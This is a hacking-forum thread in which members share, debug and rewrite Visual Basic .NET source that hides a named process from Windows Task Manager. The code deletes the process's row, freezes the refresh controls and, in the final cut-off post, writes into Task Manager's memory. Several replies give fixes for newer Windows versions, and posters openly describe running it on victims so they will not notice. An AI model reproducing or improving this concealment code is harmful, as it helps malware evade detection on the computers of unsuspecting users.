

Forum:[Hack Forums](#)

Thread: [\[VB.NET\] HIDE any Process From Task Manager \[SOURCE\] - First on HF \[HOT!!\]](#)

jaikrishna - April 20, 2010, 6:24 pm

Hi Guys,

I recently found this source on the net when I was searching for someother thing.
Just sharing it with you.

This works for XP, VB.NET 2003/2005/2008.
Although with some simple modification you'll be able to do it.
Sorry, I can't do that because I'm on XP

Just insert the following onto ur form:A Timer named Timer1

A ListView named ListView1

Now add this code inside your form class:

Quote: Const WM_COMMAND As Int32 = &H111

Const MF_ENABLED As Int32 = &H0

Const MF_GRAYED As Int32 = &H1

Const LVM_FIRST As Int32 = &H1000

Const LVM_DELETEITEM As Int32 = (LVM_FIRST + 8)

Const LVM_SORTITEMS As Int32 = (LVM_FIRST + 48)

Private Declare Function apiFindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Int32

Private Declare Function apiFindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Int32, ByVal hWnd2 As Int32, ByVal lpsz1 As String, ByVal lpsz2 As String) As Int32

Private Declare Function apiEnableWindow Lib "user32" Alias "EnableWindow" (ByVal hwnd As Int32, ByVal fEnable As Int32) As Boolean

Private Declare Function apiGetMenu Lib "user32" Alias "GetMenu" (ByVal hwnd As Int32) As Int32

Private Declare Function apiGetSubMenu Lib "user32" Alias "GetSubMenu" (ByVal hMenu As Int32, ByVal nPos As Int32) As Int32

Private Declare Function apiGetMenuItemID Lib "user32" Alias "GetMenuItemID" (ByVal hMenu As Int32, ByVal nPos As Int32) As Int32

Private Declare Function apiEnableMenuItem Lib "user32" Alias "EnableMenuItem" (ByVal hMenu As Int32, ByVal wIDEnableItem As Int32, ByVal wEnable As Int32) As Int32

Private Declare Function apiSendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Int32, ByVal wParam As Int32, ByVal lParam As Int32, ByVal lParam As String) As Int32

Private Declare Function apiGetDesktopWindow Lib "user32" Alias "GetDesktopWindow" () As Int32

Private Declare Function apiLockWindowUpdate Lib "user32" Alias "LockWindowUpdate" (ByVal hwndLock As Int32) As Int32

Public Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load

```

' Me.Text = pName 'Set form name to match process name given
Me.ShowInTaskbar = False 'hide application from taskbar
Timer1.Interval = 800 'Set to start fast
Timer1.Enabled = True 'Actually start the timer
ListView1.View = View.Details
ListView1.Columns.Add("Process name", -2, HorizontalAlignment.Left)
ListView1.Sorting = SortOrder.Ascending 'So that the list view automatically sorts the entries
for us.
'Me.Hide() 'uncomment when ready to terminate this program elsehow.
End Sub
Private Sub Form1_Closed(ByVal sender As Object, ByVal e As System.EventArgs) Handles
MyBase.Closed
    HideProcess("", False)
End Sub

Private Function HideProcess(ByVal pName As String, Optional ByVal pHide As Boolean = True)
    On Error Resume Next
    Dim lhWndParent As Int32 = apiFindWindow(Nothing, "Windows Task Manager") 'get handle
to the task manager
    Dim lhWndDialog As Int32 = 0
    Dim lhWndProcessList As Int32 = 0
    Dim lhWndProcessHeader As Int32 = 0
    Dim hMenu As Int32 = apiGetMenu(lhWndParent) 'get it's menu handle
    Dim hSubMenu As Int32 = apiGetSubMenu(hMenu, 2) 'get it's submenu handle for "View"
    Dim hSubSubMenu As Int32 = apiGetSubMenu(hSubMenu, 1) 'get it;s subsub menu handle
for "update speed"
    Dim hld1 As Int32 = apiGetMenuItemID(hSubMenu, 0) 'Get id for "refresh now" item
    Dim hld2 As Int32 = apiGetMenuItemID(hSubSubMenu, 0) 'Get id for "high update speed" item
    Dim hld3 As Int32 = apiGetMenuItemID(hSubSubMenu, 1) 'Get id for "normal update speed"
item
    Dim hld4 As Int32 = apiGetMenuItemID(hSubSubMenu, 2) 'Get id for "low update speed" item
    Dim hld5 As Int32 = apiGetMenuItemID(hSubSubMenu, 3) 'Get id for "paused update speed"
item
    If pHide = True Then
        Dim ProcessItemCount, ProcessItemIndex As Int32
        Dim itemString As String, p As New Process, Processes() As Process

        For i As Int32 = 1 To 7 'Loop through all seven child windows, for handles to the listviews,
buttons, and header
            lhWndDialog = apiFindWindowEx(lhWndParent, lhWndDialog, Nothing, Nothing)
            If lhWndProcessList = 0 Then lhWndProcessList = apiFindWindowEx(lhWndDialog, 0,
"SysListView32", "Processes")
            If lhWndProcessHeader = 0 Then lhWndProcessHeader =
apiFindWindowEx(lhWndProcessList, 0, "SysHeader32", Nothing)
        Next

        apiSendMessage(lhWndParent, WM_COMMAND, hld5, 0) 'Click "paused update speed",
so we can do it for the taskmgr

        apiEnableMenuItem(hMenu, hld1, MF_GRAYED) 'disable refresh now item
        apiEnableMenuItem(hMenu, hld2, MF_GRAYED) 'disable high update speed
        apiEnableMenuItem(hMenu, hld3, MF_GRAYED) 'disable normal update speed
        apiEnableMenuItem(hMenu, hld4, MF_GRAYED) 'disable low update speed

```

```
apiEnableMenuItem(hMenu, hld5, MF_GRAYED) 'disable paused update speed
```

```
apiEnableWindow(lhWndProcessHeader, 0) 'Disable process header, so it cannot be  
resorted by user
```

```
If Me.ListView1.Items.Count > 0 Then Me.ListView1.Items.Clear() 'clear any old data that  
was on the list
```

```
Processes = Process.GetProcesses() 'Get processes
```

```
For Each p In Processes 'Count processes, and add them to the listview.
```

```
    ProcessItemCount += 1
```

```
    If p.ProcessName.ToString = "Idle" Then
```

```
        With Me.ListView1.Items.Add("System Idle Process")
```

```
        End With
```

```
    Else
```

```
        With Me.ListView1.Items.Add(p.ProcessName.ToString)
```

```
        End With
```

```
    End If
```

```
Next p
```

```
'Look for, the index of the process matching the string name of our caption then
```

```
For z As Int32 = 0 To ProcessItemCount - 1
```

```
    itemString = ListView1.Items.Item(z).Text.ToString()
```

```
    If itemString = pName Then ProcessItemIndex = z
```

```
Next
```

```
apiLockWindowUpdate(lhWndProcessList) 'Lock the window from updating, to reduce  
flashing.
```

```
apiSendMessage(lhWndParent, WM_COMMAND, hld1, 0) 'AutoClick refresh to update,  
then immediately sort and delete.
```

```
apiSendMessage(lhWndProcessList, LVM_SORTITEMS, 0, Nothing) ' Sort process items  
alphabetically
```

```
apiSendMessage(lhWndProcessList, LVM_DELETEITEM, ProcessItemIndex, 0) 'Delete the  
process,
```

```
apiLockWindowUpdate(False) 'unlock that window
```

```
If lhWndParent = 0 Then
```

```
    If Timer1.Interval <> 800 Then Timer1.Interval = 800 'Set to react fast while task manager  
is closed.
```

```
    Else
```

```
        If Timer1.Interval <> 2500 Then Timer1.Interval = 2500 'Set to a normal looking update  
speed, while the task manager remains open.
```

```
    End If
```

```
Else
```

```
    Timer1.Enabled = False 'kill the timer
```

```
    For i As Int32 = 1 To 7
```

```
        lhWndDialog = apiFindWindowEx(lhWndParent, lhWndDialog, Nothing, Nothing)
```

```
        If lhWndProcessList = 0 Then lhWndProcessList = apiFindWindowEx(lhWndDialog, 0,  
"SysListView32", "Processes")
```

```
        If lhWndProcessHeader = 0 Then lhWndProcessHeader =  
apiFindWindowEx(lhWndProcessList, 0, "SysHeader32", Nothing)
```

```
    Next
```

```

    apiEnableMenuItem(hMenu, hld1, MF_ENABLED) 're-enable refresh now
    apiEnableMenuItem(hMenu, hld2, MF_ENABLED) 're-enable high update speed
    apiEnableMenuItem(hMenu, hld3, MF_ENABLED) 're-enable normal update speed
    apiEnableMenuItem(hMenu, hld4, MF_ENABLED) 're-enable low update speed
    apiEnableMenuItem(hMenu, hld5, MF_ENABLED) 're-enable paused update speed
    apiSendMessage(lhWndParent, WM_COMMAND, hld3, 0) 'click normal update speed
    apiSendMessage(lhWndParent, WM_COMMAND, hld1, 0) 'click refresh now
    apiEnableWindow(lhWndProcessHeader, 1) 'Enable process header
End If
Return True
End Function

```

```

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer1.Tick
    Dim p() As Process = Process.GetProcessesByName("taskmgr")
    If p.Length > 0 Then
        HideProcess("notepad", True) "----CHANGE THIS TO THE NAME OF YOUR
PROCESS-----
    End If
End Sub

```

Now change the process name to your desired one, compile and run.
And run taskmanager?
Was the process there?? Amazed !! !?

Credits:
[Original Link](#)

Have a nice day?

[img]http://img96.imageshack.us/img96/3681/8wzlu1.png[/img]

--
Jaikrishna

Cats R Kewl - April 20, 2010, 6:45 pm

Mhmmm... Thanks for posting credits... Or you can just disable task manager, though that will make them suspect something.. Will try out later. Thank you.

jaikrishna - April 20, 2010, 6:58 pm

(Apr 20, 2010 06:45 PM)Cats R Kewl Wrote: [\[CITE\]](#) Mhmmm... Thanks for posting credits... Or you can just disable task manager, though that will make them suspect something.. Will try out later. Thank you.Yeah, Hiding is better than disabling

Cats R Kewl - April 20, 2010, 6:59 pm

(Apr 20, 2010 06:58 PM)jaikrishna Wrote: [\[CITE\]](#) Yeah, Hiding is better than disablingNever said it wasn't just saying or you could do that.... I even said what was the flaw with the other option..
OT: Looks like a lot of source.

K1N6Z - April 20, 2010, 7:02 pm

Thanks for sharing. Will try it out later.

Vice - April 20, 2010, 7:04 pm

Just a note, the original source states that this doesn't work for Vista/7.

jaikrishna - April 20, 2010, 7:08 pm

(Apr 20, 2010 07:04 PM)Vice Wrote: [\[CITE\]](#) Just a note, the original source states that this doesn't work for Vista/7.

Right, I added it to the post

nathan72389 - April 20, 2010, 7:20 pm

XP / vista / 7 has been public since (*edit*) early march

[img]http://i41.[censored].com/16c2j9d.jpg[/img]

jaikrishna - April 20, 2010, 7:21 pm

(Apr 20, 2010 07:20 PM)nathan72389 Wrote: [\[CITE\]](#) XP / vista / 7 has been public since late 2009

[img]http://i41.[censored].com/16c2j9d.jpg[/img]

Oh, Was it on HF already?

I removed the tag 'First on HF'

Sorry.

nathan72389 - April 20, 2010, 7:24 pm

(Apr 20, 2010 07:21 PM)jaikrishna Wrote: [\[CITE\]](#) Oh, Was it on HF already?

i dont think it was.

s000.....

im sure alot will thank you for this. keep it up.

(didnt mean to sound like a rude dick in my previous post)

jaikrishna - April 20, 2010, 7:27 pm

(Apr 20, 2010 07:24 PM)nathan72389 Wrote: [\[CITE\]](#) i dont think it was.

s000.....

im sure alot will thank you for this. keep it up.

(didnt mean to sound like a rude dick in my previous post)

I just wanted to get the program you showed in screenshot.

Is it yours?

nathan72389 - April 20, 2010, 7:30 pm

(Apr 20, 2010 07:27 PM)jaikrishna Wrote: [\[CITE\]](#) I just wanted to get the program you showed in screenshot.

Is it yours?

no, its not an original source by me

im not exactly for sure if it was a vip, or public post, but either way, its out there, i know i have seen the same source posted on a few sites with the credits stripped from it.

DexHacker - April 20, 2010, 8:26 pm

(Apr 20, 2010 07:04 PM)Vice Wrote: [\[CITE\]](#) Just a note, the original source states that this doesn't work for Vista/7.

JUST A NOTE: to anyone using this code, as Vice posted, in the original source it states that this doesn't work for Vista/7, but you can fix this very easy by subing or adding one to the list number, i do not have my source here so can not remember, but you need to just test for Vista/7 if so, sub or add 1 to the list number.

For example when you use it in Vista/7, it remove the name above (or bellow) the one you want to hide.

So it a easy fix.

I can not think why the original code could not fix it.

Stylis - April 20, 2010, 10:01 pm

Don't work in WinXP SP3 !

[Eprouvez] - April 21, 2010, 12:43 am

Cheers for the Credits and source, I'm gonna work on making this more efficient.

#M.O.A.B - April 21, 2010, 1:06 am

(Apr 20, 2010 10:01 PM)Stylis Wrote: [\[CITE\]](#) Don't work in WinXP SP3 !

I will try on SP3 ?

Yeah don't work on SP3, no process list, and selected process to hide is visible. :(

[Eprouvez] - April 21, 2010, 4:20 am

Someone want to test this? I made it shorter and a lot easier to read:

```
Code Public Class Form1
    Dim x As New Threading.Thread(AddressOf Hidez)
    Public Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
        x.Start()
    End Sub
    Private Sub Form1_Closed(ByVal sender As Object, ByVal e As System.EventArgs)
        x.Abort()
    End Sub
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal ClassName As String, ByVal WindowName As String) As Int32
    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal Handle1 As Int32, ByVal Handle2 As Int32, ByVal Lpsz1 As String, ByVal Lpsz2 As String) As Int32
    Private Declare Function EnableWindow Lib "user32" Alias "EnableWindow" (ByVal Handle As Int32, ByVal Enable As Int32) As Boolean
    Private Declare Function GetMenu Lib "user32" Alias "GetMenu" (ByVal Handle As Int32) As Int32
    Private Declare Function GetSubMenu Lib "user32" Alias "GetSubMenu" (ByVal Menu As Int32, ByVal Pos As Int32) As Int32
```

```

Private Declare Function GetMenuItemID Lib "user32" Alias "GetMenuItemID" (ByVal Menu As
Int32, ByVal Pos As Int32) As Int32
Private Declare Function EnableMenuItem Lib "user32" Alias "EnableMenuItem" (ByVal Menu As
Int32, ByVal IDEnableItem As Int32, ByVal Enable As Int32) As Int32
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Window As
Int32, ByVal Message As Int32, ByVal wParam As Int32, ByVal lParam As String) As Int32
Private Declare Function GetDesktopWindow Lib "user32" Alias "GetDesktopWindow" () As Int32
Private Declare Function LockWindowUpdate Lib "user32" Alias "LockWindowUpdate" (ByVal
HandleLock As Int32) As Int32
Private Sub Hidez()
    HideProcess("notepad", True)
End Sub
Private Sub HideProcess(ByVal Name As String, Optional ByVal Hide As Boolean = True)
    Dim GetManager As Int32 = FindWindow(Nothing, "Windows Task Manager")
    Dim Dialog As Int32 = 0 : Dim ProcessList As Int32 = 0 : Dim ProcessHeader As Int32 = 0
    While True : Select Case Hide : Case True
        For I As Int32 = 1 To 7
            Dialog = FindWindowEx(GetManager, Dialog, Nothing, Nothing)
            If ProcessList = 0 Then ProcessList = FindWindowEx(Dialog, 0, "SysListView32",
"Processes")
            If ProcessHeader = 0 Then ProcessHeader = FindWindowEx(ProcessList, 0,
"SysHeader32", Nothing)
        Next
        Dim Index As Integer = Nothing : Dim List As New List(Of Process)
        For Each Proc As Process In Process.GetProcesses : Index += 1 : List.Add(Proc) :
Next
        For x As Int32 = 0 To Index - 1
            If List(x).ProcessName = Name Then Index = x
        Next
        Dim Menu As Int32 = GetMenu(GetManager) : Dim SubMenu As Int32 =
GetSubMenu(Menu, 2) : Dim SubSubMenu As Int32 = GetSubMenu(SubMenu, 1)
        SendMessage(GetManager, &H111, GetMenuItemID(SubSubMenu, 3), 0) :
EnableMenuItem(Menu, GetMenuItemID(SubMenu, 0), &H1)
        EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 0), &H1) :
EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 1), &H1)
        EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 2), &H1) :
EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 3), &H1)
        EnableWindow(ProcessHeader, 0)
        LockWindowUpdate(ProcessList) : SendMessage(GetManager, &H111,
GetMenuItemID(SubSubMenu, 0), 0)
        SendMessage(ProcessList, (&H1000 + 48), 0, Nothing) : SendMessage(ProcessList,
(&H1000 + 8), Index, 0)
        LockWindowUpdate(False) : If GetManager = 0 Then
System.Threading.Thread.Sleep(800) Else System.Threading.Thread.Sleep(2500)
        Case False
            For I As Int32 = 1 To 7
                Dialog = FindWindowEx(GetManager, Dialog, Nothing, Nothing)
                If ProcessList = 0 Then ProcessList = FindWindowEx(Dialog, 0, "SysListView32",
"Processes")
                If ProcessHeader = 0 Then ProcessHeader = FindWindowEx(ProcessList, 0,
"SysHeader32", Nothing)
            Next
            Dim Menu As Int32 = GetMenu(GetManager) : Dim SubMenu As Int32 =

```

```

GetSubMenu(Menu, 2) : Dim SubMenu_ As Int32 = GetSubMenu(SubMenu, 1)
    EnableMenuItem(Menu, GetMenuItemID(SubMenu, 0), &H0) : EnableMenuItem(Menu,
GetMenuItemID(SubMenu_, 0), &H0)
    EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 1), &H0) :
EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 2), &H0)
    EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 3), &H0) :
SendMessage(GetManager, &H111, GetMenuItemID(SubMenu_, 1), 0)
    SendMessage(GetManager, &H111, GetMenuItemID(SubMenu, 0), 0) :
EnableWindow(ProcessHeader, 1)
    End Select : End While
End Sub
End Class

```

Stylis - April 21, 2010, 5:24 am

(Apr 21, 2010 04:20 AM)Epreuvez Wrote: [\[CITE\]](#) Someone want to test this? I made it shorter and a lot easier to read:

```

Code Public Class Form1
    Dim x As New Threading.Thread(AddressOf Hidez)
    Public Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
        x.Start()
    End Sub
    Private Sub Form1_Closed(ByVal sender As Object, ByVal e As System.EventArgs)
        x.Abort()
    End Sub
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal ClassName As
String, ByVal WindowName As String) As Int32
    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal Handle1 As
Int32, ByVal Handle2 As Int32, ByVal Lpsz1 As String, ByVal Lpsz2 As String) As Int32
    Private Declare Function EnableWindow Lib "user32" Alias "EnableWindow" (ByVal Handle As
Int32, ByVal Enable As Int32) As Boolean
    Private Declare Function GetMenu Lib "user32" Alias "GetMenu" (ByVal Handle As Int32) As
Int32
    Private Declare Function GetSubMenu Lib "user32" Alias "GetSubMenu" (ByVal Menu As Int32,
ByVal Pos As Int32) As Int32
    Private Declare Function GetMenuItemID Lib "user32" Alias "GetMenuItemID" (ByVal Menu As
Int32, ByVal Pos As Int32) As Int32
    Private Declare Function EnableMenuItem Lib "user32" Alias "EnableMenuItem" (ByVal Menu As
Int32, ByVal IDEnableItem As Int32, ByVal Enable As Int32) As Int32
    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Window As
Int32, ByVal Message As Int32, ByVal wParam As Int32, ByVal lParam As String) As Int32
    Private Declare Function GetDesktopWindow Lib "user32" Alias "GetDesktopWindow" () As Int32
    Private Declare Function LockWindowUpdate Lib "user32" Alias "LockWindowUpdate" (ByVal
HandleLock As Int32) As Int32
    Private Sub Hidez()
        HideProcess("notepad", True)
    End Sub
    Private Sub HideProcess(ByVal Name As String, Optional ByVal Hide As Boolean = True)
        Dim GetManager As Int32 = FindWindow(Nothing, "Windows Task Manager")
        Dim Dialog As Int32 = 0 : Dim ProcessList As Int32 = 0 : Dim ProcessHeader As Int32 = 0
        While True : Select Case Hide : Case True
            For I As Int32 = 1 To 7

```

```

        Dialog = FindWindowEx(GetManager, Dialog, Nothing, Nothing)
        If ProcessList = 0 Then ProcessList = FindWindowEx(Dialog, 0, "SysListView32",
"Processes")
        If ProcessHeader = 0 Then ProcessHeader = FindWindowEx(ProcessList, 0,
"SysHeader32", Nothing)
        Next
        Dim Index As Integer = Nothing : Dim List As New List(Of Process)
        For Each Proc As Process In Process.GetProcesses : Index += 1 : List.Add(Proc) :
Next
        For x As Int32 = 0 To Index - 1
            If List(x).ProcessName = Name Then Index = x
            Next
            Dim Menu As Int32 = GetMenu(GetManager) : Dim SubMenu As Int32 =
GetSubMenu(Menu, 2) : Dim SubSubMenu As Int32 = GetSubMenu(SubMenu, 1)
            SendMessage(GetManager, &H111, GetMenuItemID(SubSubMenu, 3), 0) :
EnableMenuItem(Menu, GetMenuItemID(SubMenu, 0), &H1)
            EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 0), &H1) :
EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 1), &H1)
            EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 2), &H1) :
EnableMenuItem(Menu, GetMenuItemID(SubSubMenu, 3), &H1)
            EnableWindow(ProcessHeader, 0)
            LockWindowUpdate(ProcessList) : SendMessage(GetManager, &H111,
GetMenuItemID(SubSubMenu, 0), 0)
            SendMessage(ProcessList, (&H1000 + 48), 0, Nothing) : SendMessage(ProcessList,
(&H1000 + 8), Index, 0)
            LockWindowUpdate(False) : If GetManager = 0 Then
System.Threading.Thread.Sleep(800) Else System.Threading.Thread.Sleep(2500)
            Case False
                For I As Int32 = 1 To 7
                    Dialog = FindWindowEx(GetManager, Dialog, Nothing, Nothing)
                    If ProcessList = 0 Then ProcessList = FindWindowEx(Dialog, 0, "SysListView32",
"Processes")
                    If ProcessHeader = 0 Then ProcessHeader = FindWindowEx(ProcessList, 0,
"SysHeader32", Nothing)
                    Next
                    Dim Menu As Int32 = GetMenu(GetManager) : Dim SubMenu As Int32 =
GetSubMenu(Menu, 2) : Dim SubMenu_ As Int32 = GetSubMenu(SubMenu, 1)
                    EnableMenuItem(Menu, GetMenuItemID(SubMenu, 0), &H0) : EnableMenuItem(Menu,
GetMenuItemID(SubMenu_, 0), &H0)
                    EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 1), &H0) :
EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 2), &H0)
                    EnableMenuItem(Menu, GetMenuItemID(SubMenu_, 3), &H0) :
SendMessage(GetManager, &H111, GetMenuItemID(SubMenu_, 1), 0)
                    SendMessage(GetManager, &H111, GetMenuItemID(SubMenu, 0), 0) :
EnableWindow(ProcessHeader, 1)
                End Select : End While
            End Sub
        End Class
    Don't work on WinXP SP3, sorry ?

```

GoldStar - April 21, 2010, 7:37 am

the idea is not bad. but i don't like how you get the window handle from it's title. get it from process.getprocessByname("taskmgr").mainwindow. cuz it's not always in english.

JIMP - April 21, 2010, 7:40 am

(Apr 21, 2010 07:37 AM)Miharbi-DoNo Wrote: [\[CITE\]](#) the idea is not bad. but i don't like how you get the window handle from it's title. get it from
process.getprocessByname("taskmgr").mainwindow. cuz it's not always in english.
Yeah thats a good point.

#M.O.A.B - April 21, 2010, 8:35 am

(Apr 21, 2010 07:37 AM)Miharbi-DoNo Wrote: [\[CITE\]](#) the idea is not bad. but i don't like how you get the window handle from it's title. get it from
process.getprocessByname("taskmgr").mainwindow. cuz it's not always in english.
+1 ?

cysto - April 21, 2010, 10:04 am

I am REALLY surprised by all the members who said "It doesn't work on Vista\7"
It is just a coding fix to make:

First:

Press F2, and the Object Browser will show up.
Navigate to: System->System.Timers->Timer
And press the "Add to References" button (At the mid-top)

Second:

Add a timer to the Application in the designer.
Then, set your focus on the Project Explorer, and press "Show All Files"
A "+" will appear beside your main form (Form1.vb).
Press that, and double click the Form1.Designer.vb
Scroll down (the very end) till you see a declare statement like this:
Code Friend WithEvents Timer1 As System.Windows.Forms.TimerAnd change it to this:
Code Friend WithEvents Timer1 As System.Timers.TimerA new error will appear, so just scroll up
to see the red-underlined code, which will be this:
Code Me.Timer1 = New System.Windows.Forms.Timer(Me.components)So just change it to this:
Code Me.Timer1 = New System.Timers.Timer

Third:

Now here comes the real bug:
The source isn't copied as it is from the said webpage:
<http://www.codeguru.com/forum/showthread.php?t=406555>
Just copy it as it is into Form1.vb, and everything will be fine.

Fourth:

Run your application. It should definitely work.

Note: Remember to change the process name to the process you want to hide.

#M.O.A.B - April 21, 2010, 10:18 am

Will try this now ;)

Krisler12 - April 21, 2010, 10:50 am

i have windows 7 x64 bits and it is still not working :(

It doesn't hide anything !

Cunt - April 21, 2010, 10:53 am

lawl this looks good to remove this i use Hide all process, but if i can get this to work might just use this :)

Krisler12 - April 21, 2010, 11:01 am

(Apr 21, 2010 10:53 AM)FaNaTiC Wrote: [\[CITE\]](#) lawl this looks good to remove this i use Hide all process, but if i can get this to work might just use this :)
post a link of the project to learn from, plz !

Thanks !

Cunt - April 21, 2010, 11:08 am

i might post it later tonight ima sleep now :/

Deathader - April 21, 2010, 12:17 pm

Very very public source. I'm surprised nobody has found this yet.

Cunt - April 21, 2010, 12:18 pm

Yeah same as the hide all processes one well i posted it now :)
Link to hide all <https://hackforums.net/showthread.php?tid=378907>

DexHacker - April 21, 2010, 3:38 pm

TO ALL THAT SAY IT DOES NOT WORK ON WINDOWS 7

Yes i am shouting, the code once compiled does work in WIN 7 (not test it in 64bit win7)
But it removes the wrong app, it removes the one under or above the app you want to hide.
So write some code to test for vista/win7 and sub or add one (i can not remember) to the list search results number.

Sketchy - April 21, 2010, 3:38 pm

O.o idk what you guys are talking about. It works for Win Vista(64&32)/XP SP3 I just tested

As DexHacker explained it removes the wrong item because your UAC is on.
Reason: Taskman hides half of your running process. Also because the app is calling for system process(all of the process that are running) and putting that in a listview meaning your index's are going to be off.

Krisler12 - April 22, 2010, 6:14 am

(Apr 21, 2010 03:38 PM)AmIHacking Wrote: [\[CITE\]](#) O.o idk what you guys are talking about. It works for Win Vista(64&32)/XP SP3 I just tested

As DexHacker explained it removes the wrong item because your UAC is on.
Reason: Taskman hides half of your running process. Also because the app is calling for system process(all of the process that are running) and putting that in a listview meaning your index's are going to be off.

Upload that project source code to prove that !

I have compiled it and it doesn't do anything !

It is not working, ... even if I rewrite a function for a button click and even if i changed the process name from explorer to other or to explorer.exe.

It is not working !

Please give a link for your project source to see what i am doing wrong !

Thanks in advance !

hxkd - April 22, 2010, 6:23 am

Looks good, even if it does work on only XP it still can be useful. Though, that is hard code and I dont understand much of it...

hxkd

blue balls - April 22, 2010, 7:05 am

awwww...we need this for XP, vista and windows 7 and run thsi on your victims so they wont notice anything?

Bitwin - April 22, 2010, 7:15 am

This is awesome. 2short

MCxCodex - April 22, 2010, 8:41 am

Stylis & Krisler12 right. I tested it in XP SP3 and it's not working.

Stylis - April 22, 2010, 9:22 am

(Apr 22, 2010 08:41 AM)MCxCodex Wrote: [\[CITE\]](#) Krisler12 right. I tested it in XP SP3 and it's not working. [/i]

I say this 2 times ...

MCxCodex - April 22, 2010, 9:30 am

(Apr 22, 2010 09:22 AM)Stylis Wrote: [\[CITE\]](#) I say this 2 times ...

Sorry Stylis. I just edit my reply ?

Krisler12 - April 22, 2010, 10:06 am

Anyway, is there someone who could upload an working project, please ?

Thanks !

Cunt - April 22, 2010, 10:40 am

Get it working your self :O or use my Hide ALL Processes, :) Sorry for the tw@ comment xD

Sketchy - April 22, 2010, 12:28 pm

(Apr 22, 2010 06:14 AM)Krisler12 Wrote: [\[CITE\]](#) Upload that project source code to prove that !

I have compiled it and it doesnt do anything !

It is not working, ... even if I rewrite a function for a button click and even if i changed the process name form explorer to other or to explorer.exe.

It is not working !

Please give a link for your project source to see what i am doing wrong !

Thanks in advance !

Im not trying to sound like a dick but, I told you the problem and its up to you to fix it.

Game2Freak - April 22, 2010, 2:25 pm

Working On Windows 7 x64 Had to -5 for it to work.

DexHacker - April 22, 2010, 3:57 pm

(Apr 22, 2010 02:25 PM)Game2Freak Wrote: [\[CITE\]](#) Working On Windows 7 x64 Had to -5 for it to work.

Thats not good ?, this means that its very random, so we need workout a way to fix the number for each PC.

As on mine it was -1, if i remember right.

julian - April 22, 2010, 7:45 pm

Here's my go. It's late, and time for sleep so it's still got some bugs. (My listview doesn't respond properly to column header clicks, it's hard coded for calc.exe at the moment, because I didn't notice that the text in task manager wasn't the same as Process.ProcessName, it only gets rid of calc briefly when you click, and doesn't do any of the other stuff the example does, It's using a SafeFileHandle but I ought to make a SafeProcessHandle just because it sounds stupid). I'm using win7 x64.

What I did differently:

- EnumChildWindows to find the listview
- Get the listview items from task manager, so that we can read the text, rather than doing the weird sorting stuff the first example in this thread does.

Hard coded for calc.exe only!

R-click something in the listview to hide calc.exe in task manager. (It was supposed to hide whatever you R-clicked...)

Code Option Strict On
Option Explicit On
Option Infer On

Imports System.Runtime.InteropServices
Imports System.ComponentModel
Imports System.Security
Imports Microsoft.Win32.SafeHandles
Imports System.Text

Public Class TaskManager

Private Delegate Function EnumChildProcDelegate(ByVal hWnd As IntPtr, ByVal lParam As IntPtr) As Boolean

Private Shared del1 As New EnumChildProcDelegate(AddressOf EnumChildProc)

Private Const ListViewCaption As String = "Processes"

Private Const ListViewClass As String = "SysListView32"

Private Shared ListViewHandle As IntPtr

<SuppressUnmanagedCodeSecurity()> _

Private Class NativeMethods

<DllImport("user32")> _

Public Shared Function EnumChildWindows(_

ByVal hWndParent As IntPtr, _

ByVal enumProcDelegate As EnumChildProcDelegate, _

<MarshalAs(UnmanagedType.SysInt)> ByVal lParam As IntPtr) As

<MarshalAs(UnmanagedType.Bool)> Boolean

End Function

```

<DllImport("user32")> _
Public Shared Function SendMessage( _
    ByVal hWnd As IntPtr, _
    ByVal message As UInteger, _
    <MarshalAs(UnmanagedType.SysUInt)> ByVal wParam As UIntPtr, _
    <MarshalAs(UnmanagedType.SysInt)> ByVal lParam As IntPtr) As IntPtr
End Function

```

```

<DllImport("user32", CharSet:=CharSet.Unicode)> _
Public Shared Function GetClassName( _
    ByVal hWnd As IntPtr, _
    ByVal className As StringBuilder, _
    ByVal bufferSize As Integer) As Integer
End Function

```

```

<DllImport("user32")> _
Public Shared Function SendMessage( _
    ByVal hWnd As IntPtr, _
    ByVal message As UInteger, _
    <MarshalAs(UnmanagedType.SysUInt)> ByVal wParam As UIntPtr, _
    ByVal lParam As StringBuilder) As IntPtr
End Function

```

```

<DllImport("kernel32")> _
Public Shared Function OpenProcess( _
    ByVal dwDesiredAccess As UInteger, _
    ByVal bInheritHandle As Boolean, _
    ByVal dwProcessId As Integer) As SafeFileHandle ' it's a daft name for a processhandle but
does the right job.
End Function

```

```

<DllImport("kernel32")> _
Public Shared Function VirtualAllocEx( _
    ByVal hProcess As SafeFileHandle, _
    ByVal lpAddress As IntPtr, _
    ByVal dwSize As Integer, _
    ByVal flAllocationType As UInteger, _
    ByVal flProtect As UInteger) As IntPtr
End Function

```

```

<DllImport("kernel32")> _
Public Shared Function WriteProcessMemory( _
    ByVal hProcess As SafeFileHandle, _
    ByVal lpBaseAddress As IntPtr, _
    ByRef lpBuffer As LVITEM, _
    ByVal nSize As Integer, _
    ByRef lpNumberOfBytesWritten As Integer) As <MarshalAs(UnmanagedType.Bool)>
Boolean
End Function

```

```

<DllImport("kernel32", CharSet:=CharSet.Ansi)> _
